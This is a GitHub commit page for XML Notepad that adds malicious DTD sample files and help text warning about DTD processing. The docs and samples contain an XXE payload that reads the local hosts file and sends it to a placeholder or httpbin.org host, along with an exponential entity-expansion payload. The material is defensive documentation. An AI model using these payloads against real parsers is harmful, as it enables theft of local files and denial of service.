microsoft / **XmlNotepad** Public

Code | Issues 47 | Pull requests 1 | Actions | Projects | Models | Wi

Commit `c03ab23`

lovettchris committed 4 days ago · ✓ 5 / 5

```
Add malicious xml samples and fix dtd loading when enabled and add documentation
on the dangers of enabling DTD processing on untrusted DTD documents.
```

`master` · 2.9.0.21

1 parent `53056e1` commit `c03ab23`

9 files changed +114 -4 lines changed

Top

Filter files…

- docs/help
  - options.md
  - validation.md
- src
  - Application
    - Application.csproj
    - Samples
      - DtdEntityExplosion.xml
      - DtdEntityLeakage.xml
      - MaliciousDtd.dtd
    - Model
      - DomLoader.cs
      - XmlHelpers.cs
      - proxy.cs

9 files changed +114 -4 lines changed

Search within code

docs/help/options.md

```
@@ -50,6 +50,9 @@ You can turn off DTD validation and you can modify the size of the node line/col
50 50  This limit exists because it takes a lot of extra memory to index the location of every node in a
51 51  large document and can make editing very large XML files slower.
52 52
   53 + The `Ignore DTD` option is important, is True by default. See [validation](validation.md) for
   54 + details on the security implications of this setting.
   55 +
53 56  ### XmlDiff
54 57  Options that control how the XmlDiff works when you compare XML documents.
55 58
```

docs/help/validation.md

```
@@ -9,4 +9,62 @@ prefix is bound to the `http://www.w3.org/2001/XMLSchema-instance` namespace or
9  9   Dialog](schemas.md).
10 10
11 11  Once a schema is associated with your document you will also get prompted by [Intellisense](intellisense.md) for element
12    - and attribute names and values.
   12 + and attribute names and values.
   13 +
   14 + ## DTD Entity Leakage
   15 +
   16 + Users must be careful about which DTD's they allow XML Notepad to process. There is a well known attack using malicious DTD's that works like this.  A safer example of this is included
   17 + in the XML Notepad samples folder named `DtdEntityLeakage.xml`:
   18 +
   19 +
   20 + **Step 1** - Create `bait.xml`:
   21 +
```

```
22 + ```xml
23 + <?xml version="1.0" encoding="utf-8"?>
24 + <!DOCTYPE root SYSTEM "http://untrusted/MaliciousDtd.dtd" [
25 + <!ELEMENT root (#PCDATA)>
26 + ]>
27 + ```
28 +
29 + **Step 2** - User open `bait.xml` in XML Notepad, unaware that is a malicious
     XML file.
30 +
31 + **Result:** XML Notepad immediately makes an outbound HTTP GET request to the
     listener```
32 +
33 + **The malicious DTD contains parameter entities that read local secrets**
34 + and then sends those secrets to someplace as URL query parameters:
35 + ```xml
36 + <!ENTITY % hosts SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
37 + <!ENTITY % leak SYSTEM "http://someplace/bad.dtd&amp;hosts=%hosts;">
38 + <!ENTITY bad "<![CDATA[%leak;]]>">
39 + ```
40 +
41 + ### Impact
42 +
43 + Any user who opens a specially crafted XML file in XML Notepad is vulnerable —
     no clicks beyond opening the file are required. An attacker can use this capture
     secrets from your
44 + local machine.
45 +
46 + ### Mitigation
47 +
48 + This is why XML Notepad disables DTD processing by default.  If you have DTD's
     that you
49 + know and trust, then you can safely enable DTD processing using the View/Options
     dialog
50 + and set `Ignore DTD=False` under Validation options.
51 +
52 + ### Entity explosion
53 +
54 + A malicious DTD can also contain entities that explode into gigabytes of memory
     by writing
```

```
55 + something like this:
56 +
57 + ```
58 + <!ENTITY e0 "This is some long text that we will replicate exponentially">
59 + <!ENTITY e1 "&e0;&e0;&e0;&e0;&e0;&e0;&e0;&e0;&e0;&e0;">
60 + <!ENTITY e2 "&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;">
61 + <!ENTITY e3 "&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;">
62 + <!ENTITY e4 "&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;">
63 + ```
64 +
65 + Such a DTD could cause out of memory problems and likely cause the termination
    of XML Notepad.
66 + This is demonstrated in the XML Notepad samples `DtdEntityExplosion.xml`
67 +
68 + ### Mitigation
69 +
70 + Don't use DTD's in XML Notepad that you do not trust, or set "Ignore DTD" to
    true in the View/Options dialog.
```

src/Application/Application.csproj

```
@@ -254,6 +254,14 @@
254 254         <CopyToOutputDirectory>PreserveNewest</CopyToOutputDirectory>
255 255         <Generator>SettingsSingleFileGenerator</Generator>
256 256       </Content>
    257 +     <Content Include="Samples\DtdEntityLeakage.xml">
    258 +       <SubType>Designer</SubType>
    259 +       <CopyToOutputDirectory>PreserveNewest</CopyToOutputDirectory>
    260 +     </Content>
    261 +     <Content Include="Samples\MaliciousDtd.dtd">
    262 +       <SubType>Designer</SubType>
    263 +       <CopyToOutputDirectory>PreserveNewest</CopyToOutputDirectory>
    264 +     </Content>
257 265     </ItemGroup>
258 266     <ItemGroup>
259 267       <ProjectReference Include="..\Model\Model.csproj">
```

.../Application/Samples/DtdEntityExplosion.xml

```
@@ -0,0 +1,11 @@
```

```
+ <!DOCTYPE root [
+ <!-- This XML Document demonstrates a DTD entity explosion risk.  Please make sure you
+ know and trust the DTD's you process before you enable DTD processing in XML Notepad. -->
+ <!ELEMENT root (#PCDATA)>
+ <!ENTITY e0 "This is some long text that we will replicate exponentially">
+ <!ENTITY e1 "&e0;&e0;&e0;&e0;&e0;&e0;&e0;&e0;&e0;&e0;">
+ <!ENTITY e2 "&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;">
+ <!ENTITY e3 "&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;">
+ <!ENTITY e4 "&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;">
+ ]>
+ <root>&e4;</root>
```

src/Application/Samples/DtdEntityLeakage.xml

```
@@ -0,0 +1,12 @@
+ <!-- This XML Document demonstrates a DTD entity data leakage.  Please make sure you
+ know and trust the DTD's you process before you enable DTD processing in XML Notepad. -->
+
+ <!DOCTYPE root SYSTEM "MaliciousDtd.dtd" [
+ <!ELEMENT root (#PCDATA)>
+ ]>
+
+ <!-- This entity shows that a call was made to https://httpbin.org/get passing a parameter
+ named "hello" with the value "testing".  If you replace "testing" with "%hosts;" in the
+ definition of parameter entity "leak" it will send your hosts file to httpbin.org!!
+ Clearly not something you want to do by accident. -->
+ <root>&proof;</root>
```

src/Application/Samples/MaliciousDtd.dtd

```
@@ -0,0 +1,10 @@
+ <!ENTITY % hosts SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
+
```

```
+ <!-- If you replace the value "testing" with "%hosts;" in the following
+ definition of parameter entity "leak" it will send your hosts file to
  httpbin.org!!
+ Clearly not something you want to do by accident. -->
+ <!ENTITY % leak SYSTEM "https://httpbin.org/get?hello=testing">
+
+ <!ENTITY proof "<![CDATA[%leak;]]>">
+
+
```

src/Model/DomLoader.cs

```
@@ -1,4 +1,4 @@
- using System;
+ using System;
  using System.Collections.Generic;
  using System.Diagnostics;
  using System.Reflection;
```

src/Model/XmlHelpers.cs

```
@@ -1,6 +1,7 @@
  using Microsoft.Xml;
  using System.Collections.Generic;
  using System.IO;
+ using System.Net;
  using System.Xml;
  using System.Xml.Schema;

@@ -233,6 +234,13 @@ public static XmlReaderSettings
  CreateXmlSettings(XmlResolver resolver = null, V
              if (resolver != null)
              {
                  rs.XmlResolver = resolver;
+             }
+             else if (!ignoreDtd)
+             {
+                 rs.XmlResolver = new XmlUrlResolver
+                 {
```

```
                    242 +                    Credentials = CredentialCache.DefaultCredentials
                    243 +                };
236                 244                  }
237                 245                  if (handler != null)
238                 246                  {
```

src/Model/proxy.cs

```
                        @@ -1,4 +1,4 @@
1                       - using System;
                        1 + using System;
2                   2     using System.IO;
3                   3     using System.Text;
4                   4     using System.Net;
                          @@ -167,7 +167,7 @@ public WebProxyState PrepareWebProxy(IWebProxy proxy,
                          string webCallUrl, WebProx
167                 167                          // This avoids multiple web calls. Note that state is
                          transitioned to DefaultCredentials
168                 168                          // instead of CachedCredentials. This ensures that web
                          calls be tried with the
169                 169                          // cached credentials if the currently attached
                          credentials don't result in successful web call.
170                     -                        if ((proxy.Credentials == null))
                        170 +                    if (proxy.Credentials == null)
171                 171                          {
172                 172                              proxy.Credentials =
                          CredentialCache.DefaultCredentials;
173                 173                          }
```

Comments 0

Please sign in to comment.